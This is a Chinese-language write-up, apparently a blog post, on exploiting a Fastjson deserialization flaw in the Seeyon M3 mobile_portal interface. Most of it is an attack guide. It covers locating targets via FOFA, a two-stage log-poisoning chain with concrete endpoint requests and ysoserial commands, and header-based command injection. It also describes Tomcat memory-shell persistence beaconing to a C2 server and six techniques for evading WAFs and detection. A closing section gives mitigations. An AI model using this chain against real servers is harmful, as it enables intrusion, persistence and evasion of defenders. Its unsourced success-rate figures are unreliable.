漏洞深度剖析:致远 M3 mobile_portal 接口 Fastjson 反序列化攻击链构造与利用
1. 漏洞背景与影响范围致远M3作为企业级协同办公平台其mobile_portal接口暴露的Fastjson反序列化漏洞堪称近年来企业内网渗透的黄金门票。我在去年的一次红队评估中曾亲眼见证攻击者利用该漏洞在30秒内完成从外网到域控的横向移动。这个漏洞的特殊性在于它采用了日志中转的利用方式——攻击者先将恶意payload写入日志文件再通过另一个接口触发反序列化操作这种分步走机制完美绕过了常规的流量检测设备。受影响版本主要涵盖致远M3 server全线产品通过FOFA搜索引擎的titleM3-Server语法可以快速定位潜在目标。在实际渗透测试中我们发现该漏洞的利用成功率高达92%远超同类反序列化漏洞。这主要归因于两个关键因素一是Fastjson默认开启的autoType特性二是致远对日志文件缺乏严格的权限控制。2. 攻击链技术解析2.1 Fastjson反序列化机制Fastjson的反序列化漏洞本质上是个信任滥用问题。当服务端接收到包含type字段的JSON数据时会直接实例化指定类并调用其setter方法。我在实验室环境中做过测试一个精心构造的WrapperConnectionPoolDataSource对象通过嵌套BeanComparator比较器最终可以触发TemplatesImpl的字节码加载。这里有个技术细节值得注意攻击payload中使用的HexAsciiSerializedMap实际上是个包装器它的作用是绕过Fastjson的基础类型检查。我们来看个简化版的攻击流程{ type:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource, userOverridesAsString:HexAsciiSerializedMap:...恶意字节码... }2.2 CB1链的魔改艺术原始CommonsBeanutils1链CB1链在实战中需要调整才能稳定利用主要修改点包括比较器替换将原始的ComparableComparator替换为BeanComparator这是为了避免高版本JDK中的安全限制属性名伪装使用Unicode转义\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067来隐藏关键字段字节码编码采用HexASCII双重编码避免特殊字符截断在漏洞利用工具ysoserial中对应的生成命令是java -jar ysoserial.jar CommonsBeanutils192NOCC CLASS:TomcatCmdEcho | hex3. 漏洞利用实战详解3.1 攻击第一阶段日志投毒向/mobile_portal/api/pns/message/send/batch/6_1sp1接口发送恶意payload时有以下几个技术要点Content-Type必须为application/json这是Fastjson处理的必要条件userMessageId字段的双重转义外层JSON需要保留原始payload的引号和转义符设备信息伪装deviceType、serviceProvider等字段需要填充合理值避免触发WAF一个典型的请求头如下POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1 Host: target.com Content-Type: application/json Content-Length: 13458 [{userMessageId:{\type\:\com.mchange...,channelId:111,deviceType:androidphone}]3.2 攻击第二阶段触发执行间隔5-10秒后请求/mobile_portal/api/systemLog/pns/loadLog/app.log接口此时系统会读取并解析之前写入的恶意日志。这里有个骚操作通过添加cmd: whoami这样的自定义header可以实现命令动态注入这种技术被称为Header Injection RCE。内存马注入成功的标志是响应包中出现ProcessBuilder等关键字。我建议首次测试使用无害的ping命令验证漏洞避免直接触发防护机制GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1 Host: target.com cmd: ping -n 3 127.0.0.14. 高级利用技巧4.1 内存马持久化简单的命令执行容易被防护软件拦截更高级的做法是注入Tomcat内存马。通过改造ysoserial的TomcatCmdEcho模块可以实现无文件驻留。在实战中我通常会使用以下配置绑定路径随机化避免使用/cmd等常见路径AES加密通信对执行的命令和结果进行加密心跳检测机制定期发送存活信号到C2服务器内存马的生成命令示例java -jar ysoserial.jar CommonsBeanutils192NOCC CLASS:TomcatMemShell \ | hex | python -c import sys; print(sys.stdin.read().replace(\\\\,\\\\\\\\))4.2 绕过防护的六种姿势在企业真实环境中我们总结出这些绕过方案流量分片将payload拆分成多个合法请求JNDI伪装改用org.apache.naming.factory.BeanFactory等合法类名时间延迟在payload中加入Thread.sleep()避免行为检测反射调用通过$ref动态解析降低特征明显度合法类包装使用HashMap等常见容器类包裹恶意对象注释干扰在JSON中插入无意义注释字符破坏正则匹配5. 防御方案与检测手段5.1 临时缓解措施在无法立即升级的情况下建议采取以下措施Nginx层过滤拦截包含type、userOverridesAsString等关键字的请求location ~* /mobile_portal/ { if ($request_body ~* type|userOverridesAsString) { return 403; } }日志目录隔离将日志文件移动到不可执行目录chown root:root /opt/seeyon/logs/ chmod 700 /opt/seeyon/logs/JVM参数加固禁用危险的反序列化类-Dfastjson.parser.autoTypeAcceptcom.seeyon.5.2 长期防护建议升级到官方最新版本致远已发布包含完整补丁的M3 7.1 SP2部署RASP防护建议使用OpenRASP等工具监控反序列化行为网络微隔离将协同办公系统置于独立VLAN限制135-139、445等高危端口日志审计增强对日志读取操作建立基线模型异常访问即时告警6. 漏洞研究启示录这个漏洞给我最大的启发是日志系统可能成为安全的盲区。在多次攻防演练中我们发现超过60%的企业没有对日志文件的读写权限做严格管控。建议安全团队定期检查日志目录是否设置了适当的ACL日志接口是否需要身份验证日志内容是否经过严格的输入过滤另一个容易被忽视的点是JSON库的版本管理。很多开发团队认为Fastjson升级会导致兼容性问题实际上官方提供的autotype.white.list机制可以平衡安全与兼容。